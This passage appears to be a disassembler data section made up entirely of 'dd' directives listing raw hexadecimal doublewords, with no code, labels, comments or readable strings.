		dd 1171038h, 59C2D58Dh,	60EFFC6Ah, 3A48DCC9h, 0F4A03400h
		dd 948A9118h, 534000DFh, 22E85F0Ah, 6A4A866Dh, 0A7C064DBh
		dd 3C607D6Eh, 8E80F309h, 1BB1D5D3h, 0F56F1011h,	0D0090035h
		dd 8C6D2025h, 5DF0780Fh, 0C5259BF8h, 9D10CE87h,	0CD447DEDh
		dd 1F25C9B8h, 0B59F0FC6h, 0DD5C2550h, 0F9C1FF42h, 0ECA9001Ah
		dd 6A3ADEA6h, 695B51BFh, 4C441259h, 4B16FF52h, 2ACF2DFEh
		dd 5DFC80C2h, 0BD5CF3C2h, 0EE5525F6h, 0D116373h, 920CAC00h
		dd 0FA59CEDEh, 7711F100h, 0E99983CFh, 64C79512h, 55806C0Bh
		dd 9C3930BDh, 2209E068h, 70407B55h, 1F047020h, 18AE4386h
		dd 0B6D3D9ACh, 946DE060h, 122900A8h, 0DD428C2Ah, 6094ABBh
		dd 0D5507E13h, 0F8E2C999h, 8003BED1h, 867A65A3h, 0A7619F30h
		dd 566EF12Fh, 80D49B9Fh, 280C2241h, 3F1F129Fh, 0C4D3B963h
		dd 5649088Ah, 29616D82h, 9BAB5F04h, 0C01788B8h,	145C9FEFh
		dd 5D1E1A97h, 73A1E590h, 0E6758101h, 11F2349Ch,	0AA8CC8h
		dd 0FD2CC835h, 0FF6AF9F8h, 29BC19A8h, 0C0519E73h, 0D083CDD1h
		dd 0AF02B4B6h, 4BB1CF15h, 0C170C246h, 0F6290573h, 18D19D09h
		dd 0F951AB5Ch, 0AD87252Bh, 48B038FEh, 0E457C7C0h, 36562B0h
		dd 216B137Eh, 0C531FA67h, 0A37670E6h, 0F982B05Ah, 0E45B5909h
		dd 0FEE58271h, 91025CDEh, 62F925C0h, 0F974FDh, 0F275F781h
		dd 7395594Eh, 0EF80047Ch, 8B27AEADh, 29E0D672h,	0DE72F750h
		dd 0FBBFD101h, 0E9434029h, 2F7BB32Bh, 1D916058h, 4599D2Ah
		dd 3915AFACh, 24B15B8Ah, 0AB62FFEh, 38171F96h, 20E8D24Ah
		dd 25F8B42Ch, 0E3DB5AE9h, 2F1381BCh, 0AC9B96CDh, 0D8CBB440h
		dd 0F60A05F8h, 17881DDDh, 7134AACEh, 1F89BD05h,	2E1D0604h
		dd 2788F5ADh, 85C7D3ADh, 9A583DFh, 0A2E6FE24h, 79A295ECh
		dd 4A9D040h, 806C5B5h, 374BF73Ch, 913980B6h, 47C250B9h
		dd 0B5A0FB09h, 27A65818h, 0FB545A71h, 2453B5EBh, 0A2B90565h
		dd 22A9E907h, 0E9B32502h, 6DD507C2h, 2A2CC1BEh,	39B36A86h
		dd 194A1503h, 0C2024865h, 5B2F36C3h, 0DC9C56FCh, 122C7AB5h
		dd 4E6D9D33h, 0FD16B82Eh, 7C2EC8Dh, 33DC1A8Ch, 2B899175h
		dd 0DEE62AD2h, 0FCF771F0h, 235298BDh, 30E525BDh, 666BB173h
		dd 0F52CA213h, 0B1572429h, 0F1098F2Dh, 0AC30448Ch, 0D9608B45h
		dd 270600F3h, 3E2FEEEBh, 0B29E0700h, 4E4084BBh,	0D23148B4h
		dd 5E621220h, 0FD0C3570h, 18DD3090h, 1AD38B7h, 70F19F9Dh
		dd 9582782Dh, 17E47C6Dh, 0CA09CF60h, 0B8AC935Fh, 0D617FED3h
		dd 1B98B21h, 62762F2Eh,	7F333DD0h, 754B016Fh, 975664B2h
		dd 9145A51h, 0D8C20196h, 0B50EBFD5h, 3316FEBEh,	1D20EADh
		dd 0FF8296B7h, 0B92629E1h, 12BD1630h, 0B979992Fh, 0C4BFA456h
		dd 0A2A6AC31h, 89B51A94h, 0B3012B82h, 3DE6665Eh, 0A4803AD9h
		dd 9D641B84h, 85007A5Ah
		dd 0BCB0F6E7h, 9BBAE92h, 47D0DC20h, 1746B071h, 0BE6D9D8Fh
		dd 0C82B32C3h, 13D24058h, 4C48F71h, 0B2EE1EFh, 0BBB05760h
		dd 334B81BBh, 0C6B6B185h, 0F6FE36E0h, 1F11A916h, 0C00E4E2h
		dd 7F3D16A5h, 3F046596h, 5BFCF1E9h, 0EE56E3B8h,	0E8CDD74Ah
		dd 0D48B5C6Bh, 0F99E9412h, 0DA4BCDE7h, 0ABAF808Fh, 2588BE09h
		dd 6EC49174h, 1453F02h,	5C9BCB05h, 1FE6BBFh, 0F20D00DCh
		dd 0EC3974D0h, 8C90F616h, 972A5920h, 4D91960h, 6F065695h
		dd 9328407Fh, 5C26A84Bh, 0D7C1ED03h, 9020C4BBh,	59615E14h
		dd 5F3AEF50h, 427E51A5h, 0A155AEBh, 13859D09h, 2F291E60h
		dd 68016D7Ah, 615945E0h, 0CC2A6051h, 0BE1F665Fh, 5F52EE7Bh
		dd 1F8607AEh, 0B02F1846h, 871AD5ECh, 405B4D2Fh,	7AE3388Ah
		dd 0C60F9425h, 0E84297h, 565F9860h, 1C9BD1Eh, 9BD78A12h
		dd 307475FFh, 44A09B1h,	0DB010FB7h, 9C3D35C1h, 4878ECD5h
		dd 120F4600h, 0DF814C40h, 0DFB015Eh, 0C7E95F58h, 0D9607A01h
		dd 3171F47h, 0D586D9E0h, 0DE88F1DAh, 1544858Bh,	7332ED09h
		dd 0DA253948h, 0E06FA9C2h, 69E1F8C1h, 28ECA8C8h, 20DA7497h
		dd 0F94B0F3Dh, 9560AB8Ch, 8722E5F2h, 0E0FC5A01h, 65EE143h
		dd 54E8A0EDh, 0D0E92C00h, 42497C45h, 0B5F7A1F8h, 0EF895599h
		dd 1C326FBh, 800AD781h,	172E4C87h, 6F935C0h, 4105B17Ch
		dd 43A9855Ah, 0DE8A9600h, 6FF3BB50h, 9203223Ch,	9BE1F98Bh
		dd 0A9A49C7Fh, 85BABD00h, 0B61F2027h, 0C29501F1h, 4AFBE19Ah
		dd 89292EFCh, 741011E5h, 2A009AC5h, 0B65E68C4h,	1880AA2h
		dd 15870D80h, 7850F377h, 3C84512Bh, 677F80C5h, 0B5DA42A3h
		dd 67738EAh, 4305036h, 0A3770BBFh, 2B9F891Bh, 8E43B85Fh
		dd 0CF73A7C6h, 0D5C9E10Eh, 0A67A2DD4h, 95A65FDDh, 0A033B9A0h
		dd 7DCE1297h, 0F783DD37h, 0D83C3B21h, 505FB17Bh, 41DDF2C9h
		dd 93376E0Dh, 0B147D8C7h, 2F7FB4Eh, 4585BFECh, 627D08B4h
		dd 0DCC9D472h, 0CDE04B09h, 0CE6E5C31h, 42322DC4h, 0D03DBD29h
		dd 716F95A2h, 87611D64h, 354ECCA7h, 80261404h, 168C157Bh
		dd 84322E1Fh, 0DE700031h, 4ECDD7DCh, 0C45ADF02h, 84CE7398h
		dd 7D92B196h, 51135C5Fh, 0E0A0772Ah, 4EF78064h,	943BB803h
		dd 12E338AFh, 0F8E37409h, 76DA4BBAh, 9F80BD8Fh,	5C23F73Eh
		dd 9B4079BCh, 0E0E43A6h, 0B9BD03DEh, 0C71F476h,	0E28AC64Bh
		dd 4A045610h, 3104F8B3h, 0AF0BA19Dh, 952F5E39h,	0ACC9F942h
		dd 533C8C18h, 62018084h, 712F6BFh, 3BE49D24h, 0B0F55000h
		dd 3B38F2A5h, 2702B85Bh, 355C0325h, 5D20E9EAh, 0B5F87907h
		dd 0C4EB97E0h, 9F40022h, 0D245C6F1h, 0DC3F3984h, 0B4948E18h
		dd 0F844C025h, 5A35F156h, 4F3EB35Bh, 34F0F2B6h,	98076D74h
		dd 0D1A80CA2h, 5CEEB29Bh, 8B826935h, 960512F9h,	6D8E24B8h
		dd 6788F723h, 3FE7A8F1h, 1A34330h, 2AAA00FBh, 0C0341AF4h
		dd 130228E0h, 0B1244735h, 9BB75D32h, 0A1CD2C8Eh, 0E0281797h
		dd 51809268h, 84AFBDBCh, 0B700C47Ah, 18A385FEh,	1246A0D6h
		dd 0E630D117h, 321DB202h, 0DE3B480h, 0C5090EB8h, 827BDD9Ch
		dd 42AAD1Eh, 87EBE853h,	0D0C0ED90h, 4B120319h, 415ECD5Fh
		dd 3F20DD7Bh, 1E00F9A6h, 7222373Dh, 4D7E3630h, 0F601D32Bh
		dd 6427CD25h, 3C75601Dh, 0B6BB8B6h, 0D129D9CDh,	28A0003h
		dd 9E80274Fh, 3C051BE7h, 0F925096Dh, 46D6775Ch,	0B2C04E19h
		dd 9DD6D36Dh, 9D7653CCh, 132E0141h, 0E01DF60Ah,	29638A7h
		dd 163B9318h, 285ED37Bh, 0CEB2CD27h, 97508E09h,	8BE6F94Ah
		dd 0F2DFB712h, 16AF00C5h, 0C39EE607h, 44D80337h, 22DA0CF4h
		dd 0FA2841B8h, 0D8D15A27h, 88D2046h, 5ACC5B4Bh,	4219F809h
		dd 13814822h, 30306EC8h, 9F20A8Ch, 0A7F4DD17h, 5F133AFCh
		dd 23976BAEh, 9330118h,	2BB02BB6h, 39B06034h, 0CECEBF01h
		dd 0ED852913h, 861A8BEDh, 0E0753101h, 2E6B6366h, 4BA27779h
		dd 12923E02h, 1013BDE9h, 86F9A4h, 399396F5h, 9065B101h
		dd 0C342600h, 0E8080B9Ah, 43FB835h, 5953196h, 998ED04h
		dd 79F22EE7h, 0D90154E2h, 2BF620C8h, 0DD20B070h, 0E666D225h
		dd 0E99C4A76h, 2B244125h, 970570B0h, 656B829Ch,	0C377D30h
		dd 7594EAADh, 0AFA51908h, 0E46D2D90h, 0F72E6900h, 97B38893h
		dd 9E661265h, 0E8549443h, 78DB5FDDh, 0BABE1285h, 15F0A758h
		dd 9BB8970Dh, 85323156h, 5E5FFF61h, 69D869D1h, 9E80727h
		dd 89227B63h, 1D160B8Dh, 333136A0h, 118AC7B5h, 0E5204B4Dh
		dd 0FCF21241h, 0AD324A0Eh, 95848EEAh, 22BD8017h, 2D3A53F0h
		dd 896FC68Dh, 578C1540h, 1386126Fh, 8589BADBh, 95CC2D2Eh
		dd 79F3920h, 0FFF319E9h, 0D37C981Bh, 0DFE4056Bh, 0AEC18B10h
		dd 0EF95271h, 93C8B22Ah, 8B506607h, 0C103E239h,	2735957Ch
		dd 0A0A2B72Eh, 26623393h, 64FD830Fh, 7942C8DEh,	45864F61h
		dd 6F3A0F90h, 3E510088h, 3329DB31h, 8BBB1966h, 2FDAD00Fh
		dd 1AA62116h, 6E7CF4E0h, 2A0A9BFEh, 8C50FC7Bh, 8B6335A4h
		dd 0D1F0D74Dh, 70D736Dh, 3F244548h, 0B19E301Eh,	354EC364h
		dd 0FBE8D3ADh, 7296B201h, 8F4FD11Ch, 322EC2DDh,	64772B3Ch
		dd 4A22986Ch, 0CB25DB6Ah, 601D84DCh, 0F8CBF6B8h, 0AD02B555h
		dd 0EA4523B0h, 84742B39h, 8B0FA8C4h, 40E978D8h,	0D15BFF0Eh
		dd 0F516D5A7h, 0E257B803h, 615E1A6Dh, 35C500D4h, 0C85101D9h
		dd 0EF134B28h, 89C2F51Bh, 8F0A606Ah, 0C448411h,	41A200F7h
		dd 559E36Dh, 2E090ED3h,	449069CEh, 6827000Dh, 0FAC6FCCBh
		dd 1A00F848h, 0D4A2D0B0h, 2D69CC6Eh, 0AFC8D8E6h, 66E78A90h
		dd 10893B7Dh, 0E91204A5h, 85E3E3A4h, 9EAB904Fh,	29618197h
		dd 0BB549DB5h, 30207CF8h, 2EDB97A1h, 6AFACB74h,	62A732AAh
		dd 0C2502465h, 0F22E173Dh, 0A809FECh, 0B04A92E0h, 0E1A048h
		dd 74D74DC1h, 4B41BDE6h, 0DBCB945Bh, 0CB22C3BFh, 4FEAF02Eh
		dd 6A35818Eh, 6BD20BB3h, 2FFE3C69h, 62F97640h, 0E85C9CB3h
		dd 326E02C9h, 0A23AD724h, 0EF4039EDh, 67A6978h,	0E2E81FB2h
		dd 54A7A23h, 6F490FE2h,	5101F0BCh, 0FD232689h, 0DC455015h
		dd 0FC910725h, 0BB621AA9h, 0D416F30Bh, 0B80E4CA4h, 120A1F6h
		dd 7E38000h, 2045AB5h, 0CF48D381h, 0D85C5EFEh, 4610F088h
		dd 23583705h, 8213204Ah, 0A56AFCD7h, 0FD31E361h, 0BA55E68Dh
		dd 0B14C57E0h, 41212532h, 611FFCC1h, 0A54DBD09h, 60F561B5h
		dd 0ECCA126Bh, 0D66189D1h, 80CBBD4Ch, 7D8D29FFh, 52259C96h
		dd 846970FCh, 0DB99BB17h, 18E94C04h, 7F24DDBBh,	0B90068E2h
		dd 0F60676B3h, 27CE281h, 0B5DF6AC2h, 392EE120h,	0B231B796h
		dd 23874B42h, 26C58D91h, 0BF000947h, 97603F3Dh,	89271A94h
		dd 2DB57AB5h, 0CD735AE9h, 14C3F580h, 0FEE5F044h, 0EF713532h
		dd 7FDCF534h, 80289DF2h, 111197DAh, 10BB1033h, 22F03FB6h
		dd 5F17A528h, 1BE920FEh, 720E76F7h, 407D653Ch, 9D23E094h
		dd 0B8024EA1h, 40799027h, 0C512A4B8h, 1DF64F18h, 0BDEFDB28h
		dd 0FE4BF6ABh, 9AD4A5E2h, 783853A5h, 0A506573h,	42096ADFh
		dd 79F9779Ch, 0BD898524h, 0B9CFA0B5h, 7308E625h, 593601A6h
		dd 0E45A8252h, 1F0729EFh, 0EE012DBBh, 9F1878B9h, 2395637h
		dd 6DDC5C67h, 0DC10DEFCh, 0A4824796h, 60E9E8ACh, 282BD9E8h
		dd 4AA289C0h, 0D605B829h, 0BCA095E6h, 0D262C78h, 350914FBh
		dd 69E5730Fh, 101726F6h, 73E819B9h, 7A9F9D0Bh, 200C9451h
		dd 5B4B3319h, 9DF5FA88h
		dd 385ADF5Bh, 18DFD1C2h, 66594367h, 47990929h, 0C4E912h
		dd 0C813DAAAh, 0BD66C01Ah, 0D97887C1h, 8589AB04h, 0EAB81B91h
		dd 7F8D2ABDh, 1782E7D4h, 0B63D4AF5h, 6613E117h,	0B1E9EA93h
		dd 0F1282BCDh, 82D58A7Ah, 2C2F555Dh, 2A4B590Eh,	581F998h
		dd 0A9CA6BDBh, 422AAE4Eh, 8089B68Eh, 96079FCh, 0B616ADB5h
		dd 74B682E0h, 353E1FFh,	93C670h, 0BFD99B29h, 31ED8C8Bh
		dd 8D256D90h, 0C4BA7106h, 0BB664178h, 282FD85Ah, 11A88212h
		dd 14979599h, 603B44DCh, 0C1566D9Fh, 43FD60C4h,	0BFECB9C0h
		dd 9EEC7161h, 0E7115A20h, 0AAB16430h, 8A515DECh, 5B4352Fh
		dd 0AA4F102Dh, 8D8910D1h, 0ADCE946Bh, 0BD6122CBh, 0E216C84h
		dd 55312960h, 61F94848h, 0B8982AE3h, 0EF71281h,	2496E368h
		dd 18104201h, 0C890F513h, 0E600C44Ch, 0EB80364Dh, 0B4725C1h
		dd 0AF2B2354h, 0AEC81FDDh, 8130C589h, 6807854Ah, 0CD43C48Dh
		dd 0FFA50AACh, 0C924F384h, 0F18017ACh, 1458D0E6h, 0E4E2DB00h
		dd 1716CF4h, 0B7E012B9h, 7D991A0Ah, 0C2001D59h,	456E7F85h
		dd 677FCAh, 3062EC25h, 8F4756C6h, 2C013A0Eh, 30C8128Bh
		dd 0FF7700C1h, 0CCF8AA31h, 0D11F9653h, 11011FA1h, 4781D567h
		dd 9C48AB22h, 9028C11h,	745F6160h, 39A53881h, 0D39DBCCEh
		dd 5B75044h, 0D23AE148h, 0DE3EBEB1h, 4BB6C075h,	2E2AEADh
		dd 0EF5D2B79h, 0C4F5093Dh, 449B4B2h, 0AB01CEE9h, 0AD9377DEh
		dd 5EB9294h, 0AA0BC9A3h, 437D4BDDh, 0DC005FB8h,	0F333B286h
		dd 1211BBC9h, 0E33D1827h, 0CAFC25EFh, 994FD7C6h, 33F9C640h
		dd 284930BDh, 7E59DBBh,	92B66AEDh, 0ACB2B737h, 5699292Ch
		dd 119D951Dh, 879D4EBEh, 12C4450Fh, 0B920BA3Ah,	95F6B2h
		dd 0CFBC3BA1h, 0C14A6DFEh, 0ECB11605h, 0E804A84Eh, 5B090195h
		dd 970E9844h, 56837EEBh, 2E1329EBh, 60510A05h, 5A568981h
		dd 0EE966620h, 1DA79CFBh, 0D781C0F8h, 5E036FFCh, 662F1BB3h
		dd 0E099776h, 0F69AF4h,	5F1D4AB1h, 0ECA7CA85h, 0B078E460h
		dd 402B8DAh, 4ACB7F68h,	0A3F48CE7h, 0CAD25B00h,	75A6B58Eh
		dd 64CD00E5h, 270E6A1Fh, 3A256563h, 422D0AFh, 18D43880h
		dd 0D0D3B8F9h, 0C00D3FEEh, 374F9890h, 57FAA488h, 0B7F7992Ah
		dd 800E8A4Bh, 0C99D0BAAh, 0D86170A4h, 8D12090Ch, 60EA3169h
		dd 51BCC52Dh, 0E8803D00h, 68D90A7Dh, 1A5721Dh, 0DF8A140h
		dd 3A617C6Fh, 2F00206Eh, 0CF6F56BEh, 2B2716EBh,	48F42D0h
		dd 79AE6DE3h, 0BA6A3ED7h, 0CA901905h, 18A504C4h, 0A3EEAC8Ah
		dd 0DEAE8463h, 8BB282DCh, 0C359FAh, 1688801Dh, 0E00FC55Ah
		dd 0EB688E87h, 0F6317E4Ch, 440DB527h, 9FD89D74h, 63C9AC00h
		dd 0BB864767h, 0C3B80908h, 796B29h, 77DE25DDh, 0FFEA00D4h
		dd 66C989CAh, 1786880Fh, 0F90D198Dh, 65E852h, 0C5E47935h
		dd 1DCF310Ah, 0E8F38102h, 5E69BA93h, 52D45321h,	0A356EAAh
		dd 0B710EFBAh, 0A8132D01h, 8B2ECA3Eh, 0D3042F18h, 583ED0D8h
		dd 9D33C204h, 0F6952315h, 0BC57AA16h, 1CC87EDAh, 0A50359C7h
		dd 60EDB002h, 0B309164Ch, 0ACADB94Ah, 1C388C1Ah, 9208BEE7h
		dd 4DF1C750h, 0B083E73Fh, 12896F49h, 0BC1F719Dh, 7E9B57Bh
		dd 161F09A8h, 0E4C02029h, 9589D48Dh, 0DCACAA7Dh, 81F04006h
		dd 3B2F7554h, 0B7E97857h, 19240B79h, 0F1310F09h, 72F3AD82h
		dd 73C189AFh, 0D13F702Ch, 0FB3CA800h, 391C5A47h, 0EC314B84h
		dd 6CC897A1h, 668802F0h, 0F8A81C9Bh, 91B4B5D7h,	383D801Dh
		dd 5A6C07ECh, 603EB57Ah, 144EC508h, 89C2F4B9h, 164AC18Dh
		dd 91CEB5D5h, 4D608018h, 98645880h, 0AD1F25F5h,	0D07E6FEAh
		dd 0BF9700F4h, 0FC872E79h, 0A7902062h, 0E8312920h, 8D52595h
		dd 1479857Bh, 32B88018h, 8E286A3Eh, 0EBBB6638h,	86B57549h
		dd 88E24FA6h, 0BC7E189h, 2EDD892Fh, 7DA98D13h, 9D2FB2B8h
		dd 1FEE6448h, 82BAE428h, 0A3A4A869h, 0D0F1DFC0h, 92C93D16h
		dd 915127BDh, 3ADBF53Bh, 1CB200E6h, 8A5EC032h, 136BB8BEh
		dd 0AEFB5EE7h, 0BD03FB70h, 0E2084AC9h, 498488D6h, 21D4045Fh
		dd 8AC44EBDh, 0DED48CF9h, 0DF0A2483h, 4474E9CBh, 6B20DD6h
		dd 2E4E340Ah, 1080BA2Ah, 0F3795A92h, 0E2251890h, 0B13BE678h
		dd 0E8F980E7h, 0CAD46E0Ch, 974BF000h, 0C3368ECDh, 0B1FF58CFh
		dd 0F2F96512h, 0A0328841h, 0DA24FDB4h, 0E3529D96h, 0B7ECC4DDh
		dd 54D01CDEh, 0E760540Ah, 87FAA415h, 22E71D97h,	0B30C1097h
		dd 5E14A687h, 253BFCD9h, 8FB97B32h, 0F212EB80h,	887A8804h
		dd 6F8010E8h, 420937FAh, 0CB6B0038h, 678D4911h,	0AD2FF841h
		dd 0CC78DB6Dh, 2941C5ACh, 652F5FE9h, 0EF30FA25h, 0BD1A99B5h
		dd 550030CCh, 241D61C6h, 255EDC97h, 2FE2D5C2h, 0ED70D85Bh
		dd 0D44A001Eh, 43BFE176h, 9E48D780h, 0CE783D0Fh, 0D8F320B8h
		dd 1365C671h, 12AEC59Fh, 9116F9Dh, 59F63B33h, 0C473A5FCh
		dd 996DD0h, 0F5589730h,	5D86E28h, 0A8D574Ah, 16816888h
		dd 0C9BD5B12h, 80B1DAD6h, 0EDC9EEBDh, 0A98F018Ch, 0C0E38088h
		dd 0F7944260h, 0D909A062h, 0F6BE1272h, 0EFAE1CDCh, 197B4184h
		dd 6E9FA494h, 0DB2E7EC9h, 0FB7F80EAh, 8808E8B8h, 5C01CF0Ah
		dd 5D6A7A4h, 0CE081DAh,	3EC01344h, 6A674B5Bh, 21003B46h
		dd 0AF6EC901h, 0E520E6Fh, 25BE1C91h, 7CCBE8C0h,	0AFA0C497h
		dd 0DBBEA11Ah, 2E319D04h, 2E07FAFh, 5E89394Bh, 0E6F15765h
		dd 51AFBD93h, 1DA8B6CBh, 0AB97008Ch, 2DA4B251h,	0E705872Fh
		dd 79BD2968h, 0EB907CE8h, 384FD825h, 74218640h,	0B4739D58h
		dd 4AED4DADh, 0BDDE9231h, 8C15ACAAh, 0B0A8B92Eh, 0FFDBE82Fh
		dd 0E4014CD1h, 0B8E72125h, 60018A11h, 0C1536EBEh, 1483F028h
		dd 0B6E085B6h, 3846ABh,	4E5D582Fh, 577D4FAFh, 5EFF1609h
		dd 0B07861h, 8A90F8BFh,	59BB50DAh, 72ACA31Eh, 6D58686Bh
		dd 24605CDDh, 9819C112h, 0F002BE62h, 3408579Fh,	2ED7561h
		dd 0B1601C64h, 8A00DFFEh, 0B23FE872h, 0B517E992h, 240892C7h
		dd 0A96012A1h, 4087885Ah, 0ECC78161h, 4320F516h, 9D8662B9h
		dd 905BABADh, 602FA3B9h, 42E5861h, 11570C1h, 6C5E6102h
		dd 0F0015325h, 4607EB5Fh, 6E100678h, 2EFC7099h,	0B89A86Fh
		dd 94571AADh, 0EABC8314h, 0B0CE7529h, 81526000h, 8E42F7CEh
		dd 14584F7Bh, 0FF2F02E5h, 7870CDD3h, 0F0464A20h, 9588013Eh
		dd 0C8224211h, 16AFA6EDh, 0B08DC2D5h, 0A6608A5Ch, 7AF72625h
		dd 0CBFEA1Bh, 70E690E7h, 234139ECh, 41513720h, 65A47A18h
		dd 0B06021F7h, 4B34B914h, 0A77A1089h, 2A333F5Bh, 79989289h
		dd 0A1EB8102h, 577ECCE2h, 67BF3EA1h, 3E192FCBh,	83803D4Ch
		dd 6051C82Bh, 784887B9h, 26612E97h, 0E9F5D105h,	35BD3142h
		dd 91852227h, 0B584685Ch, 2BBC059Dh, 88EF8180h,	4B44CE76h
		dd 4D59BD8Ah, 600FAD29h, 0BBA32080h, 0BE622F0h,	43E96177h
		dd 146DAD19h, 46FE2AFh,	39850960h, 0E7812CD0h, 9F5409F4h
		dd 28796178h, 0FC5A2011h, 0A5D4DF05h, 70FE2D23h, 57628028h
		dd 66C60BBBh, 38576133h, 600B1532h, 0BFD76C0Fh,	0A5AB0FEh
		dd 46C314E0h, 9D2B09A6h, 0B910A165h, 0F503071Fh, 72FC983Ah
		dd 5BEFEEA0h, 97DD9F4Fh, 0C0C691FEh, 7506E3Fh, 848F31CAh
		dd 0BD239CD0h, 3F2EF1D5h, 1923C8h, 0AD5F7540h, 0BB043E7Ah
		dd 3B882969h, 328D1D81h, 0D764E72Ah, 7A809C9Ah,	0D407E453h
		dd 6281BD48h, 0E13596Ah, 163A13F2h, 82C9ADFAh, 0FD812D4Eh
		dd 0F7034FEEh, 0CC362178h
		dd 0EFB98C61h, 0AE0E15C5h, 6A3E2D29h, 0C7FA0B68h, 9A0AF851h
		dd 113597E3h, 9891491h,	0CB3E7D74h, 19C807DBh, 908766C9h
		dd 795995F1h, 40B5557Ah, 4D3A1302h, 0E3724042h,	0DBEB5BF7h
		dd 376780AFh, 4B18CA6Ch, 2518CA97h, 52987454h, 21374CF5h
		dd 0E4932F9h, 9416C0A9h, 0ADE1FF49h, 1A7FE9A6h,	4BF1576Bh
		dd 3BA6DE96h, 0AE6DBD13h, 0D7D9033Ch, 0BB66F76h, 0C4B3D5C9h
		dd 7CD00FC7h, 0AEC085AAh, 5BD27244h, 56AD4304h,	20BCBD5Ch
		dd 7F03B5A1h, 0B44E4D7Ah, 0EB09AE47h, 9D34A47h,	173604CAh
		dd 38BB5600h, 4F25C9F6h, 194EE55Bh, 2FFC7140h, 0F4E16082h
		dd 0B9544B9Dh, 5C25C2A5h, 9B12DC5Eh, 0A104C62Ch, 5709234Dh
		dd 805B6A40h, 0E2E9C725h, 7084F332h, 2B73FCBDh,	0E6090125h
		dd 0DED35F4Fh, 0BBD3C0A8h, 4A28C53Fh, 0EB96D511h, 2F803F9Eh
		dd 0A95FD18Ch, 0F5ADF54Eh, 0ED50F989h, 3D190122h, 290A95E9h
		dd 0A7C499BDh, 9DCD0D62h, 0F208A5E0h, 75BD1089h, 0FF68070Fh
		dd 5C69777Dh, 7E3D38D5h, 0DCED9C7Dh, 5C514225h,	3522C995h
		dd 6CF59ED8h, 0E8780212h, 7AE94975h, 8100E45Ch,	0D0B48F3h
		dd 0C5BBD34h, 5D59D05h,	88805DF9h, 0AEDC071Ch, 0CD3AC374h
		dd 0C25725FEh, 0D8A4FBB0h, 1A97A1F4h, 998977CCh, 899EA659h
		dd 0C9366DE7h, 9C10FDCh, 3702DC6h, 0AC125EB5h, 0DCA5B32Fh
		dd 0A1F8BF33h, 0A5A06CD6h, 0B7B40531h, 343BB82h, 0B9AE5550h
		dd 87BA5720h, 593C9967h, 3796AF5Fh, 408120Eh, 0B89E3C42h
		dd 34E94F9Ah, 0F22490ECh, 41086556h, 685B0913h,	246A1401h
		dd 7A3A3C51h, 2E704492h, 6BB6755Eh, 0A6B020F0h,	569E1A27h
		dd 1546D66Ch, 0B2AC7913h, 739700AFh, 0D6E7A5BFh, 91BD1901h
		dd 2F90CD0Fh, 0CEBB4500h, 0F323C646h, 4B7DB520h, 4072A70Bh
		dd 632E67DAh, 0DE6B61h,	0DE5AB9ABh, 948848BFh, 0D89F2150h
		dd 788A1697h, 4A3873BFh, 2620CA3Fh, 3EFC8B4Ah, 9770E95Ah
		dd 7B42C66Fh, 69A38234h, 7599FA0Eh, 8959B5ADh, 27F120DDh
		dd 0C2CC06D5h, 5A524100h, 3B68BB9h, 2A9229Dh, 7F40D694h
		dd 25F2645Ah, 1FC5E3E1h, 5425DF1Dh, 66E6F40Ah, 0F9F88B29h
		dd 954BB366h, 0E600AB44h, 585681E2h, 95B440EAh,	1B6460CDh
		dd 0EB1DFE60h, 89830C3Fh, 257D2B1h, 290389FBh, 7E970158h
		dd 0B928F44Fh, 7125BD18h, 0AD0E6506h, 9D4D3DCh,	43471AB9h
		dd 0B4A4FE59h, 8B1B5508h, 77D65360h, 0C5EB5F64h, 5E9DF8F8h
		dd 1785B9C8h, 0EEA89935h, 7753EA09h, 4C98E710h,	0AACCA100h
		dd 0BF8502F5h, 42F71387h, 0A41F85Fh, 24820F96h,	0ECFABB01h
		dd 6B2B2F60h, 251923BAh, 69A69D59h, 596C5BADh, 2FE81816h
		dd 9C58E737h, 0B50B5499h, 2DB754A1h, 1C59755Bh,	0B800CA18h
		dd 0E30BF395h, 0BD1299DFh, 3EB9C390h, 0BF0782EEh, 0B665E7FAh
		dd 55508E52h, 8442B86Ch, 7B18C15Fh, 0C4302B3Fh,	26958B60h
		dd 41CA0F6Dh, 7E61823Eh, 80A830A2h, 8EB88D09h, 81B4183Bh
		dd 0EF074A25h, 0B2A0D052h, 0A3749503h, 5D205042h, 2B01E7C7h
		dd 2E09A5Bh, 9C2AFCh, 7BA4C058h, 0DAF57279h, 85549109h
		dd 4BB5D5D1h, 0A1801491h, 0DCDBD31h, 9F78CEB5h,	4B3CC390h
		dd 209FE300h, 5AFFFA67h, 28AC18E4h, 860F74BFh, 0B20953h
		dd 1C21B8C2h, 0B561303Ch, 350D7E5h, 0CDEA16AFh,	9D13AEA3h
		dd 9AEAEBC5h, 1BB6D2B7h, 0BD49E100h, 0C2FFB29Ah, 7FE06C4Ah
		dd 20964BDFh, 83B52DE6h, 9F9C7F00h, 4D75D63h, 4175F2h
		dd 5150343Dh, 965B83B7h, 0EDD2ABE8h, 0E9EC9BBDh, 0F84D6800h
		dd 7D66C229h, 8807F2A8h, 31042C7Ch, 81A549F9h, 5D3EDACh
		dd 0AE291DAAh, 2D019E78h, 86002D95h, 48BABF50h,	9FE56BE9h
		dd 4B35B020h, 3C919D04h, 734A1290h, 0E723BDB6h,	0ABFBBF07h
		dd 0DEEA2F84h, 0EF3D2545h, 3AF0678Ah, 38A124BAh, 7EADCDCAh
		dd 0F33F93F1h, 0A5CD4BB6h, 6A72C287h, 0BD55191Bh, 80D6A33Ah
		dd 0BF71625Fh, 0AC7128D3h, 89E9D016h, 805E55B8h, 8BEA8AF7h
		dd 0D70EC161h, 342BE6B7h, 7EED3048h, 0BE052B04h, 5065B8BAh
		dd 2F17BFEh, 0C4D614A5h, 0B8885594h, 0F407DC6Fh, 931DCE0h
		dd 880D3351h, 0B80F168h, 0F8D4A4FBh, 0C03F4600h, 92B06C45h
		dd 0E836603Ah, 27B5BD2Bh, 9EC151B5h, 0AB0B2121h, 12BDD5AFh
		dd 0C1C25200h, 0B03AD5Eh, 0FE8BF7C6h, 3D4B38DDh, 1A5BBD29h
		dd 0B615352h, 5F415F77h, 5790002Eh, 0F2834A0Fh,	4EAE8006h
		dd 254FA3Ah, 0F505B94h,	0E3760B8Ch, 2B9FBFC0h, 7E5097F0h
		dd 11099078h, 756D8323h, 0EBE57CEDh, 0C3794EAh,	8BF5FDB1h
		dd 892FD69Eh, 0AC4253B9h, 0FE3AD627h, 4C68004Fh, 0B1E1BF91h
		dd 810D0139h, 3351D1D3h, 62B63A2Ah, 0EBFF8067h,	0BDDC445Ch
		dd 0E109227Bh, 0D1057F19h, 4C22BB30h, 0FB4E751Dh, 0A0096500h
